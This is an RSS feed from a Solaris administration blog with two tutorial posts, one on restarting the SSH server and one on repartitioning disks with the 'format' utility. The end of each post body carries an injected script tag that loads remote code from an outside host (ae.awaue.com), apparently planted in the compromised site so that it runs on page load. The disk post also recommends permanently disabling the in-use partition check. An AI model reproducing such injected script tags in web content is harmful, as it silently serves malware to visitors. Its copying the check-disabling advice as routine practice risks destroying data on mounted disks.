<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Techsoar &#187; Solaris Administration</title>
	<atom:link href="http://www.techsoar.com/category/solaris-administration/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.techsoar.com</link>
	<description>Daily updated online technology blog</description>
	<lastBuildDate>Sun, 14 Feb 2010 17:36:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to restart SSH server on Solaris?</title>
		<link>http://www.techsoar.com/how-restart-ssh-server-solaris/#utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=how-restart-ssh-server-solaris</link>
		<comments>http://www.techsoar.com/how-restart-ssh-server-solaris/#comments</comments>
		<pubDate>Tue, 19 Feb 2008 22:26:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Solaris Administration]]></category>

		<guid isPermaLink="false">http://www.techsoar.com/2008/02/19/how-restart-ssh-server-solaris/</guid>
		<description><![CDATA[Once you make any change for sshd_config file which is located under /etc/ssh/ or any kind of need to restart SSH server on Solaris, you can use this:
cd /etc/init.d/
./sshd restart
This will restart SSH server without corrupting your session.
]]></description>
			<content:encoded><![CDATA[<p>Once you make any change for sshd_config file which is located under /etc/ssh/ or any kind of need to restart SSH server on Solaris, you can use this:</p>
<p>cd /etc/init.d/<br />
./sshd restart</p>
<p>This will restart SSH server without corrupting your session.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.techsoar.com/how-restart-ssh-server-solaris/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solaris &#8211; Disk Repartitioning</title>
		<link>http://www.techsoar.com/solaris-disk-repartitioning/#utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=solaris-disk-repartitioning</link>
		<comments>http://www.techsoar.com/solaris-disk-repartitioning/#comments</comments>
		<pubDate>Tue, 30 Jan 2007 06:14:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Solaris Administration]]></category>

		<guid isPermaLink="false">http://www.techsoar.com/solaris-disk-repartitioning/</guid>
		<description><![CDATA[Yesterday, I had to do some Raid-1 configuration for Sun V490s. One problem was harddisks were already formatted and partitioned but in order to make Raid-1 configuration work on all servers (x4) , I had to repartition them first then make mirror configuration. What I found out at the end is that solaris disk repartitioning [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, I had to do some Raid-1 configuration for Sun V490s. One problem was harddisks were already formatted and partitioned but in order to make Raid-1 configuration work on all servers (x4) , I had to repartition them first then make mirror configuration. What I found out at the end is that solaris disk repartitioning is comparably much easier then windows and any other operating systems unless you are trying to repartition system partitions like root or swap. I used &#8216;format&#8217; utility for all steps. Here are the details:</p>
<p>Initial hard drive slices look as below:</p>
<table cellspacing="0" cellpadding="0" border="1">
<tr>
<td valign="top"><small>Part<br />
  0<br />
  1<br />
  2<br />
  3<br />
  4<br />
  5<br />
  6<br />
  7</small></td>
<td valign="top"><small>Tag<br />
root<br />
swap<br />
backup<br />
unassigned<br />
unassigned<br />
var<br />
usr<br />
unassigned</small></td>
<td valign="top"><small>Flag<br />
wm<br />
wu<br />
wm<br />
wm<br />
wm<br />
wm<br />
wm<br />
wm</small></td>
<td valign="top"><small>Cylinders<br />
202 &#8211;  1308<br />
0 &#8211;   201<br />
0 &#8211; 14086<br />
0<br />
0<br />
1309 &#8211;  1912<br />
1913 &#8211;  5004<br />
0</small></td>
<td valign="top"><small>Size<br />
10.74GB<br />
1.96GB<br />
136.71GB<br />
0<br />
0<br />
5.86GB<br />
30.01GB<br />
0</small></td>
<td valign="top"><small>Blocks<br />
(1107/0/0) 22529664<br />
(202/0/0) 4111104<br />
(14087/0/0) 286698624<br />
(0/0/0) 0<br />
(0/0/0) 0<br />
(604/0/0) 12292608<br />
(3092/0/0) 62928384<br />
(0/0/0) 0</small></td>
</tr>
</table>
<p>How it should look like at the end as below:</p>
<table cellspacing="0" cellpadding="0" border="1">
<tr>
<td valign="top"><small>Part<br />
0<br />
1<br />
2<br />
3<br />
4<br />
5<br />
6<br />
7</small></td>
<td valign="top"><small>Tag<br />
root<br />
swap<br />
backup<br />
usr<br />
unassigned<br />
var<br />
unassigned<br />
unassigned</small></td>
<td valign="top"><small>Flag<br />
wm<br />
wu<br />
wm<br />
wm<br />
wm<br />
wm<br />
wm<br />
wm</small></td>
<td valign="top"><small>Cylinders<br />
202 &#8211;  1308<br />
0 &#8211;   201<br />
0 &#8211; 14086<br />
1913 &#8211;  5004<br />
0<br />
1309 &#8211;  1912<br />
0<br />
0</small></td>
<td valign="top"><small>Size<br />
10.74GB<br />
1.96GB<br />
136.71GB<br />
30.01GB<br />
0<br />
5.86GB<br />
0<br />
0</small></td>
<td valign="top"><small>Blocks<br />
(1107/0/0)   22529664<br />
(202/0/0)     4111104<br />
(14087/0/0) 286698624<br />
(3092/0/0)   62928384<br />
(0/0/0)             0<br />
(604/0/0    12292608<br />
(0/0/0)             0<br />
(0/0/0)             0</small></td>
</tr>
</table>
<p>Before starting to play with &#8216;format&#8217; utility, /etc/vfstab should be changed and mounted partitions either should be removed or commented out. Otherwise you will get an error saying, the partition you are trying to modify is already mounted.</p>
<p>After you&#8217;ve changed /etc/vfstab; you should modify slice 3 by putting same cylinders range with 6. That range starts with 1913 and you should put 30 gb. for the size, ending cylinder (5004) will be calculated automatically. Here we go:</p>
<p>#root etc>format<br />
Searching for disks&#8230;done</p>
<p>AVAILABLE DISK SELECTIONS:<br />
       0. c1t0d0<br />
          /pci@9,600000/SUNW,qlc@2/fp@0,0/ssd@w500000e011e5faf1,0<br />
       1. c1t1d0<br />
          /pci@9,600000/SUNW,qlc@2/fp@0,0/ssd@w500000e011e609d1,0<br />
Specify disk (enter its number): 0<br />
selecting c1t0d0<br />
[disk formatted]<br />
Warning: Current Disk has mounted partitions.<br />
/dev/dsk/c1t0d0s0 is currently mounted on /. Please see umount(1M).<br />
/dev/dsk/c1t0d0s1 is currently used by swap. Please see swap(1M).</p>
<p>FORMAT MENU:<br />
        disk       &#8211; select a disk<br />
        type      &#8211; select (define) a disk type<br />
        partition  &#8211; select (define) a partition table<br />
        current    &#8211; describe the current disk<br />
        format     &#8211; format and analyze the disk<br />
        repair     &#8211; repair a defective sector<br />
        label        &#8211; write label to the disk<br />
        analyze        &#8211; surface analysis<br />
        defect         &#8211; defect list management<br />
         backup        &#8211; search for backup labels<br />
        verify          &#8211; read and display labels<br />
         save        &#8211; save new disk/partition definitions<br />
         inquiry          &#8211; show vendor, product and revision<br />
        volname        &#8211; set 8-character volume name<br />
        !        &#8211; execute , then return<br />
        quit<br />
format> partition</p>
<p>PARTITION MENU:<br />
        0   &#8211; change `0&#8242; partition<br />
        1   &#8211; change `1&#8242; partition<br />
2   &#8211; change `2&#8242; partition<br />
3   &#8211; change `3&#8242; partition<br />
4   &#8211; change `4&#8242; partition<br />
5   &#8211; change `5&#8242; partition<br />
6   &#8211; change `6&#8242; partition<br />
7   &#8211; change `7&#8242; partition<br />
select &#8211; select a predefined table<br />
modify &#8211; modify a predefined partition table<br />
name  &#8211; name the current table<br />
print  &#8211; display the current table<br />
label  &#8211; write partition map and label to the disk<br />
! &#8211; execute , then return<br />
quit</p>
<p>partition> 3<br />
Part   Tag  Flag   Cylinders Size  Blocks<br />
 3unassigned<br />
  wm  0       0   (0/0/0)Enter partition id tag[unassigned]: usr<br />
Enter partition permission flags[wm]:<br />
Enter new starting cyl[0]: 1913<br />
Enter partition size[0, 0c, 0e, 0mb, 0gb]: 30gb</p>
<p>partition> label<br />
Ready to label disk, continue? y</p>
<p>Now you assigned ranges to slice 3 and saved configuration. Next step is to delete older one by giving 0 for number of cylinders and disk size:</p>
<p>partition> 6<br />
Part   Tag  Flag   Cylinders Size  Blocks<br />
  6 usr  wm  1913 &#8211;  5004   30.01GB  (3092/0/0)  62928384</p>
<p>Enter partition id tag[usr]:<br />
Enter partition permission flags[wm]:<br />
Enter new starting cyl[1913]: 0<br />
Enter partition size[62928384b, 3092c, 3091e, 30726.75mb, 30.01gb]: 0<br />
partition> label<br />
Ready to label disk, continue? y</p>
<p>One problem I face with when I issued &#8216;label&#8217; command was:</p>
<p>> label<br />
Cannot label disk when partitions are in use as described.</p>
<p>And the solution for this:</p>
<p>The environment variable NOINUSE_CHECK (see PSARC/2005/461), when set, can be used to turn off this new functionality:</p>
<p>NOINUSE_CHECK=1<br />
export NOINUSE_CHECK</p>
<p>Update your ~/.profile!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.techsoar.com/solaris-disk-repartitioning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
